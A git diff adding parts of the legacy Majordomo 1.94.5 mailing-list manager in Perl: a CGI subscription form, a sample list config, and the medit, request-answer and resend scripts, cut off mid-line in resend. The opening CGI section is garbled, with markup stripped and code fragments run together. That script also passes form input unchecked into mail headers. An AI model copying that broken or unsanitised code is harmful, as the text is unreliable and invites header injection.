    + +To subscribe to any of these mailing lists all you need to do is fill +out the form compeletly. And submit it. The form will then be +processed and you should be added to the mailing list shortly.

    + +EOF + +if (defined %mi) { + print <here.

    + +EOF +} + +print < + +Mailing List: +EOF + +# Generate the list of mailing lists + print "\n"; + +# form trailer +print < +Real name:
    +E-mail Address:
    +
    +What action would you like to take? +

    +Subscribe +to the list
    +Unsubscribe from +the list
    +Have a list of who is on the list +mailed to you
    +Get a detailed description +of the list mailed to you
    +
    + + + + +
    +
    +Webmaster / +\n"; + foreach $i (keys %mi) { + print "
  • $i\n"; + } + print "\n"; + +print < +
    +Webmaster / +>$logfile"); + + print LOG &DTG; + print LOG " - $msg\n"; + + close( LOG); + +} + +# +# DTG +# Date Time Group, This is a military thing. Express time in GMT (aka +# Zulu) it this kinda funky format (ddhhmmZ MON YY). I used it because +# it's a canned routine I have. +sub DTG { + local( $time) = @_; + local( @months) = ( 'JAN', 'FEB', 'MAR', 'APR', 'MAY', 'JUN', + 'JUL', 'AUG', 'SEP', 'OCT', 'NOV', 'DEC'); + + $time = time if ($time); + sprintf( "%2.2d%2.2d%2.2dZ %s %2.2d", + (gmtime( $time))[3], + (gmtime( $time))[2], + (gmtime( $time))[1], + @months[(gmtime( $time))[4]], + (gmtime( $time))[5]); +} + +# +# sendmessage +# This is the worker routine. Sends a nice HTML message to the user and +# sends a nice e-mail to the mailing list admin. +# +sub sendmessage { + local( $i); + + if ($in{ 'email'} eq "") { + print < + +
    SORRY

    +
    +I'm sorry but you must fill in your e-mail address. +Press "back" and try again. + +EOF + +exit 0; +} + $in{ 'email'} = "$in{ 'email'}@$ENV{'REMOTE_HOST'}" + if ( !( $in{ 'email'} =~ /\S*@\S*/)); + + &log( "<$in{ 'email'}> \"$in{ 'rname'}\" ". + "$in{ 'function'} $in{ 'mailing_list'}"); + + open( SM, "$sendmail"); + print SM < +Reply-To: "$in{ 'rname'}" <$in{'email'}> + +$in{ 'function'} $in{'mailing_list'} +EOF + close( SM); + +print < +Thank You + + +
    THANK YOU
    +

    +Your request has been forwarded to the list owner for processing. +You should be added soon. +
    + +If the list owner has any questions about adding you they should be in +touch with you shortly. +
    +
    +The following information will be sent for you: +
    +
    + +EOF + + print "To: $ml{$in {'mailing_list'}}
    \n"; + print "From: \"$in{ 'rname'}\" <$in{'email'}>

    \n"; + + print "$in{ 'function'} $in{'mailing_list'}
    \n"; + + print < + + +EOF + +} diff --git a/update/scripts/packages/majordomo-1.94.5/md-sub/ml-init.sample b/update/scripts/packages/majordomo-1.94.5/md-sub/ml-init.sample new file mode 100644 index 0000000..8ebbe7a --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/md-sub/ml-init.sample @@ -0,0 +1,9 @@ +warhammerfb majordomo@direwolf.com +warhammerfb-digest majordomo@direwolf.com +test jco@bbn.com +Firewalls majordomo@greatcircle.com +info Firewalls http://www.greatcircle.com/firewalls/ +info Firewalls-digest http://www.greatcircle.com/firewalls/ +Firewalls-digest majordomo@greatcircle.com +help webmaster@www.noname.org +default warhammerfb diff --git a/update/scripts/packages/majordomo-1.94.5/medit b/update/scripts/packages/majordomo-1.94.5/medit new file mode 100644 index 0000000..3fb7139 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/medit @@ -0,0 +1,61 @@ +#!/bin/perl + +# medit: lock and edit a Majordomo-managed file, then unlock when done. +# +# Copyright 1992, D. Brent Chapman. All Rights Reserved. For use by +# permission only. +# +# $Source: /sources/cvsrepos/majordomo/medit,v $ +# $Revision: 1.10 $ +# $Date: 1997/04/28 18:38:05 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ + +# set our path explicitly +$ENV{'PATH'} = "/bin:/usr/bin:/usr/ucb"; + +# Read and execute the .cf file +$cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf"; +if ($ARGV[0] eq "-C") { + $cf = $ARGV[1]; + shift(@ARGV); + shift(@ARGV); +} +if (! -r $cf) { + die("$cf not readable; stopped"); +} +require "$cf"; + +# All these should be in the standard PERL library +unshift(@INC, $homedir); +require "shlock.pl"; # NNTP-style file locking +require "majordomo.pl"; + +# Here's where the fun begins... + +(defined($listdir) && chdir "$listdir") + || die("can't access \$listdir $listdir"); + + +$editor = $ENV{"EDITOR"} || "vi"; + +foreach (@ARGV) { + $lockfile = $_; + $lockfile =~ s,([^/]*)$,L.$1,; + $shlock'waittime = 5; + for ($tries = 0 ; $tries < 60 ; $tries++) { + if (&set_lock($lockfile)) { + # got the lock + system("$editor $_"); + &free_lock($lockfile); + last; + } else { + print "Waiting for lock on $_...\n"; + } + } + if ($tries > 60) { + print "Giving up on lock for $_...\n"; + } +} diff --git a/update/scripts/packages/majordomo-1.94.5/request-answer b/update/scripts/packages/majordomo-1.94.5/request-answer new file mode 100644 index 0000000..56fb707 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/request-answer @@ -0,0 +1,145 @@ +#!/bin/perl + + +# $Source: /sources/cvsrepos/majordomo/request-answer,v $ +# $Revision: 1.15 $ +# $Date: 2000/01/07 11:10:18 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ + +# set our path explicitly +# PATH it is set in the wrapper, so there is no need to set it here. +#$ENV{'PATH'} = "/bin:/usr/bin:/usr/ucb"; + +# Read and execute the .cf file +$cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf"; +if ($ARGV[0] eq "-C") { + $cf = $ARGV[1]; + shift(@ARGV); + shift(@ARGV); +} +if (! -r $cf) { + die("$cf not readable; stopped"); +} +require "$cf"; + +chdir($homedir) || die("Can't chdir(\"$homedir\"): $!"); +unshift(@INC, $homedir); +require "shlock.pl"; +require "majordomo.pl"; + +$majordomo_dont_reply = $majordomo_dont_reply + || '(mailer-daemon|uucp|listserv|majordomo)\@'; + +&ParseMailHeader(STDIN, *hdrs); +$reply_to = &RetMailAddr(*hdrs); +$reply_to = join(", ", &ParseAddrs($reply_to)); + +die("request-answer: $reply_to is not a valid return address.\n") + if (! &valid_addr($reply_to)); + +# robots should not reply to other robots... +if ($reply_to =~ m/$majordomo_dont_reply/i) { + &abort( "$whoami: not replying to $1 to avoid mail loop.\n"); +} + +$in_reply_to = $hdrs{"message-id"} . ", from " . $hdrs{"from"}; +$list = $ARGV[0]; + +# Define all of the mailer properties: +# It is possible that one or both of $sendmail_command and $bounce_mailer +# are not defined, so we provide reasonable defaults. +$sendmail_command = "/usr/lib/sendmail" + unless defined $sendmail_command; +$bounce_mailer = "$sendmail_command -f\$sender -t" + unless defined $bounce_mailer; + +$sender = "$list-approval\@$whereami"; + +$mailcmd = eval qq/"$bounce_mailer"/; + +if (defined($isParent = open(MAIL, "|-"))) { + &do_exec_sendmail(split(' ',$mailcmd)) + unless $isParent; +} else { + &abort("Failed to fork prior to mailer exec"); +} + + +print MAIL <<"EOM"; +To: $reply_to +From: $list-request\@$whereami +Subject: Your mail to $list-request\@$whereami +In-Reply-To: $in_reply_to +Reply-To: $list-approval\@$whereami + +This pre-recorded message is being sent in response to your recent +email to $list-request\@$whereami. + +All routine administrative requests (including subscriptions and +unsubscriptions) concerning this mailing list are handled by an +automated server. Please read this message carefully to find the +information relevant to you. + +SUBSCRIBING +=========== + +To subscribe to $list, send the following in the body (not +the subject line) of an email message to "$whoami": + + subscribe $list + +This will subscribe the account from which you send the message to +the $list list. + +If you wish to subscribe another address instead (such as a local +redistribution list), you can use a command of the form: + + subscribe $list other-address\@your_site.your_net + +UNSUBSCRIBING +============= + +To unsubscribe from $list, send the following in the body (not +the subject line) of an email message to "$whoami": + + unsubscribe $list + +This will unsubscribe the account from which you send the message. +If you are subscribed with some other address, you'll have to send +a command of the following form instead: + + unsubscribe $list other-address\@your_site.your_net + +If you don't know what address you are subscribed with, you can send +the following command to see who else is on the list (assuming that +information isn't designated "private" by the owner of the list): + + who $list + +If you want to search non-private lists at this server, you can do that +by sending a command like: + + which string + +This will return a list of all entries on all lists that contain "string". + +HELP +==== + +To find out more about the automated server and the commands it +understands, send the following command to "$whoami": + + help + +If you feel you need to reach a human, send email to: + + $list-approval\@$whereami + +EOM + +close(MAIL); + +exit 0; diff --git a/update/scripts/packages/majordomo-1.94.5/resend b/update/scripts/packages/majordomo-1.94.5/resend new file mode 100644 index 0000000..91848ab --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/resend @@ -0,0 +1,970 @@ +#!/bin/perl +# $Modified: Fri Jan 7 16:32:17 2000 by cwilson $ + +# Copyright 1992, D. Brent Chapman. All Rights Reserved. For use by +# permission only. +# +# $Source: /sources/cvsrepos/majordomo/resend,v $ +# $Revision: 1.90 $ +# $Date: 2000/01/07 15:32:39 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ +# +# Okay, resend accepts many command line arguments, as revealed by the +# Getopts call: +# &Getopts("Aa:df:h:I:l:M:p:Rr:s") || die("resend: Getopts() failed: $!"); +# Most of these are defined via the list config file, so in general, +# it's a really bad idea to hardcode them in the alias definition. +# In a future version of majordomo, these will likely all be removed. +# +# Here's a description of them, just to be documentive. Note that the +# only REQUIRED option is -l. Even that will probably go away in the future. +# +# -l REQUIRED: specify list name +# -h specify host name +# -f specify "sender" (default -request) +# -M specify max message length to forward +# -p add "Precedence: " header +# -r add "Reply-To: " header +# -I Bounce messages from users not listed in file +# in colon-separated +# -a approval password +# -A moderate list (require "Approved:" for posting) +# -R delete "Received:" lines +# -s enable "administrivia" checks +# -d debug; say it, but don't do it +# -C alternate config file +# + +#$DEBUG = 1; + +# set our path explicitly +# PATH it is set in the wrapper, so there is no need to set it here. +#$ENV{'PATH'} = "/bin:/usr/bin:/usr/ucb"; + +# Before doing anything else tell the world I am resend +# The mj_ prefix is reserved for tools that are part of majordomo proper. +# (not that anything uses this variable.) +$main'program_name = 'mj_resend'; #'; + +# If the first argument is "@filename", read the real arguments +# from "filename", and shove them onto the ARGV for later processing +# by &Getopts() +# +if ($ARGV[0] =~ /^\@/) { + $fn = shift(@ARGV); + $fn =~ s/^@//; + open(AV, "< $fn" ) || die("open(AV, \"< $fn\"): $!\nStopped"); + undef($/); # set input field separator + $av = ; # read whole file into string + close(AV); + @av = split(/\s+/, $av); + unshift(@ARGV, @av); + $/ = "\n"; +} + +# Parse arguments here. We do this first so that we can conditionally +# evaluate code in majordomo.cf based on $opt_l (or any other command line +# argument). Here I've assumed that perl was installed correctly and +# getopts.pl was place where it's supposed to be. This changes previous +# behavior which allowed getopts.pl to be in the same place as +# majordomo.cf. +use Getopt::Std; + +getopts("C:c:Aa:df:h:I:l:M:p:Rr:s") || die("resend: Getopts() failed: $!"); + +if (! defined($opt_l)) { + die("resend: must specify '-l list'"); +} + +# Read and execute the .cf file +$cf = $opt_C || $opt_c || $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf"; + +# Despite not having a place to send the remains of the body, +# it would be nice to send a message to root or postmaster, at least... +# +if (! -r $cf) { + die("$cf not readable; stopped"); +} + +require "$cf"; + +chdir($homedir) || die("Can't chdir(\"$homedir\"): $!"); + +unshift(@INC, $homedir); +use POSIX qw(ctime); # For logging purposes +require "majordomo.pl"; +require "majordomo_version.pl"; +require "config_parse.pl"; + +# pickup hostname from majordomo.cf unless defined on the command line +$opt_h = $opt_h || $whereami; + +# smash case for the list name +$opt_l =~ tr/A-Z/a-z/; + +# We must set up the mailers and logging as soon possible so that we can +# send and log complaints and aborts somewhere. Unfortunately we need to +# parse the config file to get some of the variables. So we fake it here, +# and set them properly later. +# XXX It is possible that owner-$opt_l won't be the right address, but we +# have little choice. Sending the bounces to $whoami_owner is an option, +# but might not clearly indicate the list name. +$sendmail_command = $sendmail_command || "/usr/lib/sendmail"; +$bounce_mailer = $bounce_mailer || "$sendmail_command -f\$sender -t"; +&set_mail_from("owner-$opt_l"); +&set_mail_sender("owner-$opt_l"); +&set_mailer($bounce_mailer); +&set_abort_addr("owner-$opt_l"); +&set_log($log, $opt_h, "resend", $opt_l); + +if (! defined ($TMPDIR)) { + &bitch("\$TMPDIR wasn't defined in $cf. Using /usr/tmp instead.\n". + "Please define in $cf.\n"); + $TMPDIR = '/usr/tmp'; +} + +# if we're running from a tty, just spit to stderr, else +# open up a temp file for the debug output. +# +if (! -t STDERR) { + close STDERR; + open (STDERR, ">>$TMPDIR/resend.debug"); +} + +# XXX some standard way of setting defaults needs to be done.. +# +$MAX_HEADER_LINE_LENGTH = $MAX_HEADER_LINE_LENGTH || 128; +$MAX_TOTAL_HEADER_LENGTH = $MAX_TOTAL_HEADER_LENGTH || 1024; + +print STDERR "$0 [$$]: starting.\n" if $DEBUG; + +if ( ! @ARGV) { + die("resend: must specify outgoing list as last arg(s)"); + # this doesn't have to be this way. It could slurp it + # from the alias it was invoked as...? +} + +# A classic case of feeping creaturism. While there are possibly good reasons +# why all these things can be classified on the command line, there's +# *NO* good reason why everything is "opt_X". YATTF. +# +$opt_r = "$opt_r\@$opt_h" if ( defined($opt_r) ); + +&get_config($listdir, $opt_l); + +$opt_A = &cf_ck_bool($opt_l,"moderate") if &cf_ck_bool($opt_l,"moderate"); +$opt_h = $config_opts{$opt_l,"resend_host"} + if($config_opts{$opt_l,"resend_host"} ne ''); +$opt_a = $config_opts{$opt_l,"approve_passwd"} + if ($config_opts{$opt_l,"approve_passwd"} ne ''); +$opt_M = $config_opts{$opt_l,"maxlength"} + if ($config_opts{$opt_l,"maxlength"} ne ''); + +$opt_f = $config_opts{$opt_l,"sender"} + if ($config_opts{$opt_l,"sender"} ne ''); +$opt_p = $config_opts{$opt_l,"precedence"} + if ($config_opts{$opt_l,"precedence"} ne ''); +$opt_r = $config_opts{$opt_l,"reply_to"} + if ($config_opts{$opt_l,"reply_to"} ne ''); +$opt_I = $config_opts{$opt_l,"restrict_post"} + if ($config_opts{$opt_l,"restrict_post"} ne ''); +$opt_R = &cf_ck_bool($opt_l,"purge_received") + if &cf_ck_bool($opt_l,"purge_received"); +$opt_s = &cf_ck_bool($opt_l,"administrivia") + if &cf_ck_bool($opt_l,"administrivia"); +$opt_d = &cf_ck_bool($opt_l,"debug") + if &cf_ck_bool($opt_l,"debug"); + +# Construct the envelope sender for outbound messages +if (defined($opt_f)) { + $sender = $opt_f; +} else { + $sender = "$opt_l-request"; +} + +# If the sender doesn't contain an `@', tack on one, followed by the +# hostname +if ($sender !~ /\@/) { + $sender .= "\@$opt_h"; +} + +# We can now properly define some of the mailer properties. +&set_mail_from($sender); +&set_mail_sender($sender); +&set_abort_addr($sender); +&set_log($log, $opt_h, "resend", $opt_l); + +if (defined($opt_A) && ! defined($opt_a)) { + die("resend: must also specify '-a passwd' if using '-A' flag"); +} + + +# +# These are headers to skip +# +$skip_headers = '/^from /i' . + '|| /^x-confirm-reading-to:/i' . # pegasus mail (windoze) + '|| /^disposition-notification-to:/i' . # eudora + '|| /^x-ack:/i' . + '|| /^sender:/i' . + '|| /^return-receipt-to:/i' . + '|| /^errors-to:/i' . + '|| /^flags:/i' . + '|| /^resent-/i' . + '|| /^priority/i' . + '|| /^x-pmrqc:/i' . + '|| /^return-path:/i' . + '|| /^encoding:/i' # could munge the length of the message + ; + +# +# Define the eval's used to catch "taboo" headers, message contents, +# and administrative headers. The taboo headers can be global +# or per list. The administrative headers are global. +# +# The eval is a construct like so: +# foo: { /^subject:\s*subscribe/ && ( $taboo = '/^subject:\s*subscribe/', last foo); } +# so that the eval returns the regexp that matched. +# + +print STDERR "$0: defining evals to catch the bad stuff.\n" if $DEBUG; + +if ($config_opts{$opt_l, 'taboo_headers'} ne '') { + @taboo_headers = split(/\001/,$config_opts{$opt_l, 'taboo_headers'}); + if ($#taboo_headers >= $[) { + $is_taboo_header = "foo: {\n"; + foreach $t (@taboo_headers) { + ($ts = $t) =~ s/(['\\])/\\$1/g; + $is_taboo_header .= "$t && (\$taboo = '$ts', last foo);\n"; + } + $is_taboo_header .= "\$taboo = \"\";\n}; \$taboo;\n"; + } +} + +if ($config_opts{$opt_l, 'taboo_body'} ne '') { + @taboo_body = split(/\001/,$config_opts{$opt_l, 'taboo_body'}); + if ($#taboo_body >= $[) { + $is_taboo_body = "foo: {\n"; + foreach $t (@taboo_body) { + ($ts = $t) =~ s/(['\\])/\\$1/g; + $is_taboo_body .= "$t && (\$taboo = '$ts', last foo);\n"; + } + $is_taboo_body .= "\$taboo = \"\";\n}; \$taboo;\n"; + } +} + +if (defined($global_taboo_headers)) { + @global_taboo_headers = split(/\n/,$global_taboo_headers); + if ($#global_taboo_headers >= $[) { + $is_global_taboo_header = "foo: {\n"; + foreach $t (@global_taboo_headers) { + ($ts = $t) =~ s/(['\\])/\\$1/g; + $is_global_taboo_header .= "$t && (\$taboo = '$ts', last foo);\n"; + } + $is_global_taboo_header .= "\$taboo = \"\";\n}; \$taboo;\n"; + } +} + +if (defined($global_taboo_body)) { + @global_taboo_body = split(/\n/,$global_taboo_body); + if ($#global_taboo_body >= $[) { + $is_global_taboo_body = "foo: {\n"; + foreach $t (@global_taboo_body) { + ($ts = $t) =~ s/(['\\])/\\$1/g; + $is_global_taboo_body .= "$t && (\$taboo = '$ts', last foo);\n"; + } + $is_global_taboo_body .= "\$taboo = \"\";\n}; \$taboo;\n"; + } +} +#"; dammit. + +# admin subject checks. Since $admin_headers is defined in $cf +# (majordomo.cf), an upgrade may not have $admin_headers. +# Bitch about it if so. +# +if (! defined($admin_headers)) { + &bitch("resend: \$admin_headers not defined in $cf !!\n" . + "Majordomo will only catch \"subscribe\" and \"unsubscribe\" in\n" . + "the subject field...\n"); + @admin_headers = ('/^subject:\s*subscribe\b/i' , + '/^subject:\s*unsubscribe\b/i'); +} else { + @admin_headers = split(/\n/, $admin_headers); +} + +$is_admin_header = "foo: {\n"; +foreach $t (@admin_headers) { + $is_admin_header .= "$t && (\$taboo = '$t', last foo);\n"; +} +$is_admin_header .= "\$taboo = \"\";\n}; \$taboo;\n"; + +# Body Check! +# Common things that people send to the wrong address. +# These are caught in the first 10 lines of the message body +# if 'administravia' is turned on and the message isn't marked approved. +# +# The code that catches this should transparently redirect +# majordomo commands to majordomo. That would give the additional +# advantage of not having to add to this silly construct for +# each new majordomo command. +# +# $admin_body should be defined in the $cf file, but an upgrade +# may miss this fact. Bitch about it, and use a minimal list if so. +# +if (! defined($admin_body)) { + &bitch("resend: \$admin_body not defined in $cf !!\n" . + "Majordomo will only catch \"subscribe\" and \"unsubscribe\" in\n" . + "the body.\nLook at $homedir/sample.cf for a good definition."); + @admin_body = ('/^subject:\s*subscribe\b/i' , + '/^subject:\s*unsubscribe\b/i'); +} else { + @admin_body = split(/\n/, $admin_body); +} + +$is_admin_body = "foo: {\n"; +foreach $t (@admin_body) { + $is_admin_body .= "$t && (\$taboo = '$t', last foo);\n"; +} +$is_admin_body .= "\$taboo = \"\";\n}; \$taboo;\n"; + + +print STDERR "$0: caching the message.\n" if $DEBUG; + +# +# cache the message, so the parent sendmail process can exit. +# +&open_temp(OUT, "$TMPDIR/resend.$$.out") || + &abort("resend: Can't open $TMPDIR/resend.$$.out: $!"); + +&open_temp(IN, "$TMPDIR/resend.$$.in") || + &abort("resend: Can't open $TMPDIR/resend.$$.in: $!"); + +while () { + print IN $_; +} + +close(IN); + +open(IN, "$TMPDIR/resend.$$.in") || + die("resend: Can't open $TMPDIR/resend.$$.tmp: $!"); + +# +# Message parsing starts here +# + +print STDERR "$0: parsing header.\n" if $DEBUG; + +# parse the header for bad lines, etc. We'll bounce in a moment. +# +$result = &parse_header; + +# The first line of the body could hold an approved line. Let's check. +# +$_ = ; + +if (/^approved:\s*(.*)/i # aha! + && defined($opt_a)) { + # OK, is it a valid "Approved:" line? + $approved = &chop_nl($1); + if ($approved ne $opt_a + && !(&main'valid_passwd($listdir, $opt_l, $approved))) { #Augh!')){ + $result .= " Invalid 'Approved:' header"; + undef $approved; + } + # The Approved: line is valid + # Look at the next line: + $_ = ; + if (/\S/) { + # We have something other than a blank line. We _assume_ it's + # header. Consequences: if it's not a header, things get screwed + # badly. If we reverse the logic and look instead for something + # header-like, we permit the possibility of the moderator leaving + # out the blank line, which is not a good idea because they might + # get used to it, which will bite them when they approve a message + # starting something that looks like a header. + # XXX Options: complain if we find no blank line and no header-like + # stuff. + close OUT; # Nuke the output so far. + unlink "$TMPDIR/resend.$$.out"; # XXX These filenames should be in + # variables. + # Open a new temp file. + &open_temp(OUT, "$TMPDIR/resend.$$.out") || + &abort("resend: Can't open $TMPDIR/resend.$$.out: $!"); + + # We'll be nice and skip a From_ mailbox separator, which just + # might have been quoted by some intervening mail munger. + if (!/^>?From /) { + # Rewind back over the header line we just pulled + seek(IN, - length($_), 1); + } + + # Parse the following as a completely new message. + $result .= &parse_header; # The return value won't matter; we're + # approved. + + } + # else the line was blank; we let it be eaten and continue + +} else { + # No approved line, dniwer + seek(IN, - length($_), 1); +} + +print STDERR "$0: checking for valid sender.\n" if $DEBUG; + +# Check for a valid sender, if the list has restrict_post set +# and the message isn't approved. +# +# aauuuugggh! 'moderator' != 'restrict_post' !! They should be the +# same!! +# +$result .= &check_sender if ( defined( $opt_I ) && ! defined ($approved)); + +# If approval is required, and we haven't got it, boing it goes.. +# +$result = "Approval required: $result" if + (defined($opt_A) && ! defined($approved)); + +print STDERR "$0: sender check: '$result'\n" if $DEBUG; + +# Print the RFC822 separator +print OUT "\n"; + +# Print out any message_fronters +# +if ( $config_opts{$opt_l,"message_fronter"} ne '' ) { + local($fronter) = &config'substitute_values ( + $config_opts{$opt_l,"message_fronter"}, $opt_l);#'; + $fronter =~ s/\001|$/\n/g; + print OUT $fronter; +} + +# We are guaranteed to be just after a blank line now. Slurp the body +$result .= &parse_body; + +# Yes Tigger, *now* you can bounce. We've checked for +# any Approved headers & lines, taboo_headers, and taboo_bodies +&bounce($result) if ( $result =~ /\S/ && ! defined($approved)); + +# Print out any message_footers +# +print STDERR "$0: adding any footers.\n" if $DEBUG; + +if ( $config_opts{$opt_l,"message_footer"} ne '' ) { + local($footer) = + &config'substitute_values( + $config_opts{$opt_l,"message_footer"}, $opt_l); #' + $footer =~ s/\001|$/\n/g; + print OUT $footer; +} + +# Finished munging the message and decided it's valid, now send it out. +# +close OUT; + +# The following eval expands embedded variables like $sender +$sendmail_cmd = eval qq/"$mailer"/; +$sendmail_cmd .= " " . join(" ", @ARGV); + +# check for the dreaded -t option to sendmail, which will cause +# mail to loop 26 times... +# +if ($sendmail_cmd =~ /sendmail/ && $sendmail_cmd =~ /\s-t/) { + $sendmail_cmd =~ s/-t//; + &bitch("resend: \$sendmail_cmd (aka \$mailer in majordomo.cf\n" . + "had a -t option. This will cause mail to loop 26 times.\n" . + "Since this probably isn't what you want to have happen,\n". + "resend has not passed that option to sendmail.\n"); +} + +print STDERR "$0: \$sendmail_cmd is $sendmail_cmd\n" if $DEBUG; + +# To debug or not debug, that is the question. +# +if (defined($opt_d)) { + $| = 1; + $, = ' '; + print STDERR "Command: $sendmail_cmd\n"; + open (IN, "$TMPDIR/resend.$$.out"); + while () { + print STDERR $_; + } + unlink(&fileglob("$TMPDIR", "^resend\.$$\.")); + exit(0); +} + +# open the mailer +# +local(*MAILOUT, *MAILIN); +if (defined($isParent = open(MAILOUT, "|-"))) { + &do_exec_sendmail(split(' ', $sendmail_cmd)) + unless $isParent; # only if we're in the child +} else { + &abort("Failed to fork prior to mailer exec"); +} + +# open our tmp file +# +open(MAILIN, "$TMPDIR/resend.$$.out"); + +# spit it out! +# +while () { + print MAILOUT $_; +} + +# cleanup +# +close(MAILIN); +unlink(&fileglob("$TMPDIR", "^resend\.$$\.")) || &abort("Error unlinking temp files: $!"); +close(MAILOUT) || do { + $? >>= 8; + &abort("Mailer $sendmail_cmd exited unexpectedly with error $?") + unless ($sendmail_cmd =~ /sendmail/ && $? == $EX_NOUSER); +}; + +# Seeya. +# +exit(0); + + +###################################################################### +# +# Subroutines. +# +###################################################################### + +# check for a valid sender for moderated lists. +# +sub check_sender { + # Uh, who? + return " This may be hard to believe, but there was no \"From:\" field" . + "in this message I just received. I'm not gonna send it out, " . + "but you can... " if ! defined($from); + + local($file) = 0; + + # !@$#% cryptic variables. opt_I is restrict_post, which is a colon + # or whitespace seperated list of files that can contain valid + # senders. + # [[[ Scary, I just realized that !@$#% is almost valid perl... ]]] + local(@files) = split (/[:\s]+/, $opt_I); + + foreach $file (@files) { + # Return a null message if the sender (from the From: or + # Reply-To: headers) is found + # + return "" if &is_list_member($from, $listdir, $opt_l, $file) || + (defined $reply_to && + $reply_to ne $from && + &is_list_member($reply_to, $listdir, $opt_l, $file)); + } + + # We only get here if nothing matches. + # + " Non-member submission from [$from] "; +} + +# +# parse_header. +# Slurp in the header, checking for bad things. Returns a non-zero length string if +# a taboo or administrative header is found. +# +# [[[ Why couldn't one simply slurp the header in, assign it to an +# assoc. array, and print out everything but the bad stuff? ]]] +# + +sub parse_header { + local($gonna_bounce); + local($kept_last) = 0; # our return flag/string. + + print STDERR "$0: parse_header: enter.\n" if $DEBUG; + print STDERR "$0: parse_header: taboo_headers = $is_taboo_header\n" if $DEBUG; + print STDERR "$0: parse_header: global_taboo_headers = $is_global_taboo_header\n" if $DEBUG; + print STDERR "$0: parse_header: admin_headers = $is_admin_header\n" if $DEBUG; + + + while () { + print STDERR "$0: parse_header: [$.: $_]" if $DEBUG; + + last if /^$/; # stop when we hit the end. RFC822. + next unless /\S/; # skip leading blank lines; usually only + # there if this is a restart after an + # in-body "Approved:" line + + print STDERR "$0: parse_header: [$.] taboo_header check\n" + if $DEBUG; + # check for taboo_headers or approved header + # + if ($#taboo_headers >= $[ && !$approved && + eval $is_taboo_header) { + $gonna_bounce .= "taboo header: $taboo "; + print STDERR "$0: parse_header: [$.: boing: $gonna_bounce\n" if $DEBUG; + } + if ($DEBUG && $@) { + # Something went boink in eval, say something useful. + print STDERR "$0: parse_header: taboo_header error $@\n"; + } + + if ($#global_taboo_headers >= $[ && !$approved && + eval $is_global_taboo_header) { + $gonna_bounce .= "global taboo header: $taboo "; + print STDERR "$0: parse_header: [$.: boing: $gonna_bounce\n" if $DEBUG; + } + + if ($DEBUG && $@) { + # Something went boink in eval, say something useful. + print STDERR "$0: parse_header: global_taboo_header error $@\n"; + } + + + # check for administative headers: + # Usually subscribe, unsubscribe, etc, in Subject field + # + print STDERR "$0: parse_header: [$.] administrative_header check\n" + if $DEBUG; + + if ($#admin_headers >= $[ && !$approved && defined($opt_s) && + eval $is_admin_header) { + $gonna_bounce .= "Admin request: $taboo "; + print STDERR "$0: parse_header: [$.: boing: $gonna_bounce\n" if $DEBUG; + } + + print STDERR "$0: parse_header: Approved check\n" if $DEBUG; + + # Check for Approved line + # + # Oddly enough, we may already be approved when we get here. In + # that case, we should nuke any extra Approved: headers we see. + # Why? Well, consider this: you change the password, but send an + # approved message out before the config change takes effect. So + # it bounces back to you with the Approved: line in it. This line + # is now valid. You approve the bounce using the cut-and-paste + # method, putting another Approved: line in front of the headers of + # the raw bounced message and send it off. There are now two + # Approved: headers. If we don't remove the Approved: header from + # the headers of the message you pasted, we've revealed your list + # password. + + if (/^approved:\s*(.*)/i && defined($opt_a)) { + if (!$approved) { + print STDERR "$0: parse_header: found an approved header\n" if $DEBUG; + $approved = &chop_nl($1); + if ($approved ne $opt_a # check the p/w given against approve_passwd + && !(&main'valid_passwd($listdir, $opt_l, $approved))) { # and also against admin_passwd ') + if (defined($opt_A)) { # bounce only if list is moderated + $gonna_bounce .= "Invalid 'Approved:' header "; + print STDERR "$0: parse_header: [$.: boing: $gonna_bounce\n" if $DEBUG; + } + undef $approved; + } else { + # reset the bounce counter, so that we return cleanly. + # this allows a message with a taboo_header or admin_header + # but with a valid Approved line to be posted. + $gonna_bounce = ''; + next; # gotta remove that approved line, dontcha know + } + } + else { + # We have already been approved, so skip this header + next; + } + } + + print STDERR "$0: parse_header: skipping headers\n" if $DEBUG; + # skip all these headers + if (eval $skip_headers) { + $kept_last = 0; + print STDERR "$0: skipped\n" if $DEBUG; + next; + } + + # skip these special headers + if ((/^precedence:/i && defined($opt_p)) # skip only if "-p" set + || (/^received:/i && defined($opt_R)) # skip only if "-R" set + || (/^reply-to:/i && defined($opt_r)) # skip only if "-r" set + || (/^\s/ && ! $kept_last)) # skip if skipped last + { + $kept_last = 0; + print STDERR "$0: skipped\n" if $DEBUG; + next; + } + + # reset $kept_last in case next line is continuation + # this should go someplace now... but where? + print STDERR "$0: kept\n" if $DEBUG; + $kept_last = 1; + + + # prepend subject prefix + # + if ( (/^subject:\s*/i) + && ($config_opts{$opt_l,"subject_prefix"} ne '')) { + + print STDERR "$0: parse_header: adding subject prefix\n" if $DEBUG; + local($foo) = &config'substitute_values($config_opts{$opt_l,"subject_prefix"}, $opt_l);#'; + local($foo_pat) = $foo; + $foo_pat =~ s/(\W)/\\$1/g; + s/^subject:[^\S\n]*/Subject: $foo /i if !/$foo_pat/; + } + + # snag reply-to field + # + $reply_to = $1 if /^reply-to:\s*(.+)/i; + + # snag from line + # + if ( /^from:\s*(.+)/i ) { + $from = $1; + $from_last = 1; # the from line can span lines + } + elsif ( defined($from_last) ) { + if ( /^\s+(.+)/ ) { + $from .= " $1"; + } else { + undef($from_last); + } + } + +# Virtual Majordomo Hack +# s/^to:(.*)\b$opt_l\b(.*)$/To:$1 $opt_l\@$whereami $2/i ; + + &check_hdr_line($_); # check for length & balance on from, cc, and to fields. + print OUT $_; + } + + # finished with the header. + # Now, we aren't going to bounce yet, even if it looks bad, + # because we allow an Approved line as the _first_ line in the *body*. + # + # return $gonna_bounce if length($gonna_bounce); + + + print STDERR "$0: parse_header: adding header fields\n" + if $DEBUG; + + # add new header fields + print OUT "Sender: $sender\n"; + if (defined($opt_p)) { + print OUT "Precedence: $opt_p\n"; + } + + if (defined($opt_r)) { + print OUT "Reply-To: ", 